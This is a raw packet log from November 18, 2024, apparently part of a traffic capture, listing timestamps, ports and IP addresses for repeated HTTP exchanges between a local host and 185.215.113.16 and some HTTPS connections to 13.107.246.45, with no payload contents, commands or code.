Nov 18, 2024 05:57:53.264538050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264549971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264561892 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.264586926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.264663935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264673948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264709949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.264715910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264755011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.264772892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264782906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264794111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.264821053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265000105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265041113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265059948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265072107 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265110016 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265147924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265160084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265191078 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265352964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265363932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265381098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265392065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265396118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265404940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265417099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265435934 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265446901 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265717030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265791893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265821934 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265834093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265840054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.265878916 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.265891075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266206980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266217947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266233921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266247034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266252041 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.266257048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266269922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266271114 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.266299963 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.266412020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266455889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.266515970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266525030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266535044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.266558886 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.307327032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.307343006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.307356119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.307379007 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.307408094 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.328172922 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.328231096 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.328274012 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.328432083 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.328448057 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.328457117 CET	60457	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.328463078 CET	443	60457	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.330823898 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.330907106 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.331115007 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.331274986 CET	60462	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.331304073 CET	443	60462	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.344223022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.344259024 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.344353914 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.344362020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384449959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384506941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384562016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384619951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384633064 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.384674072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384707928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384725094 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.384744883 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384773970 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384798050 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.384809017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384843111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384846926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.384877920 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384921074 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.384932041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.384970903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385008097 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385021925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385068893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385108948 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385128021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385160923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385193110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385234118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385245085 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385267019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385279894 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385304928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385338068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385345936 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385375977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385405064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385417938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385623932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385667086 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385675907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385705948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385741949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385742903 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385776997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385812998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385818005 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385880947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385919094 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.385936975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.385970116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386003971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386008024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.386218071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386261940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.386315107 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386348963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386384010 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.386387110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.429670095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.429717064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.429748058 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.429755926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.429806948 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.464070082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.464118004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.464158058 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.464190006 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.505115986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505153894 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505189896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505244017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505280972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505315065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505351067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505362988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.505363941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.505383968 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.505383968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505402088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.505419016 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505455971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.505505085 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.506649971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.506684065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.506732941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.506810904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.506850004 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508369923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508527040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508559942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508594036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508601904 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508627892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508630037 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508680105 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508713007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508721113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508748055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508780003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508788109 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508814096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508846045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508879900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508887053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508912086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508944988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508954048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.508975983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.508980036 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.509007931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509042978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509083033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509087086 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.509114981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509159088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.509169102 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509201050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509207964 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.509234905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509308100 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509322882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.509344101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509378910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.509390116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.520678997 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.521193027 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.521212101 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.521616936 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.521622896 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.553040981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.553078890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.553097010 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.553113937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.553157091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.586976051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.587023020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.587060928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.587152004 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.623868942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.623924971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.623930931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.623963118 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.623999119 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624034882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624047041 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624068975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624078989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624124050 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624175072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624180079 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624209881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624243021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624255896 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624280930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624324083 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624466896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624500990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624535084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624553919 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624568939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624631882 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624665976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624718904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624752998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624766111 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624805927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624839067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.624847889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.624874115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625113964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625159025 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625164986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625200987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625235081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625246048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625269890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625276089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625396013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625442028 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625447035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625479937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625513077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625521898 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625549078 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625581980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625597954 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625812054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625844002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625879049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.625894070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625915051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.625957966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.626010895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.626079082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.626101971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.626115084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.626149893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.626157045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.649950981 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.649976015 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.650017977 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.650018930 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.650249004 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.650265932 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.650278091 CET	60458	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.650284052 CET	443	60458	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.653259993 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.653301001 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.653363943 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.653493881 CET	60463	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.653512955 CET	443	60463	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.662646055 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.663022995 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.663043976 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.663547039 CET	60459	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:53.663552046 CET	443	60459	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:53.666515112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.666574955 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.666577101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.666605949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.666641951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.666654110 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.703723907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.703761101 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.703780890 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.703795910 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.703847885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744069099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744106054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744158030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744193077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744200945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744225979 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744231939 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744261980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744297981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744306087 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744371891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744405985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744414091 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744442940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744510889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744553089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744718075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744751930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744774103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744786978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744875908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744904995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744909048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744942904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.744947910 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.744976997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745018959 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745043039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745079041 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745121956 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745172024 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745390892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745424986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745459080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745465994 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745493889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745534897 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745757103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745790958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745826006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:53.745834112 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:53.745860100 CET	80	60438	185.215.113.16	192.168.2.6
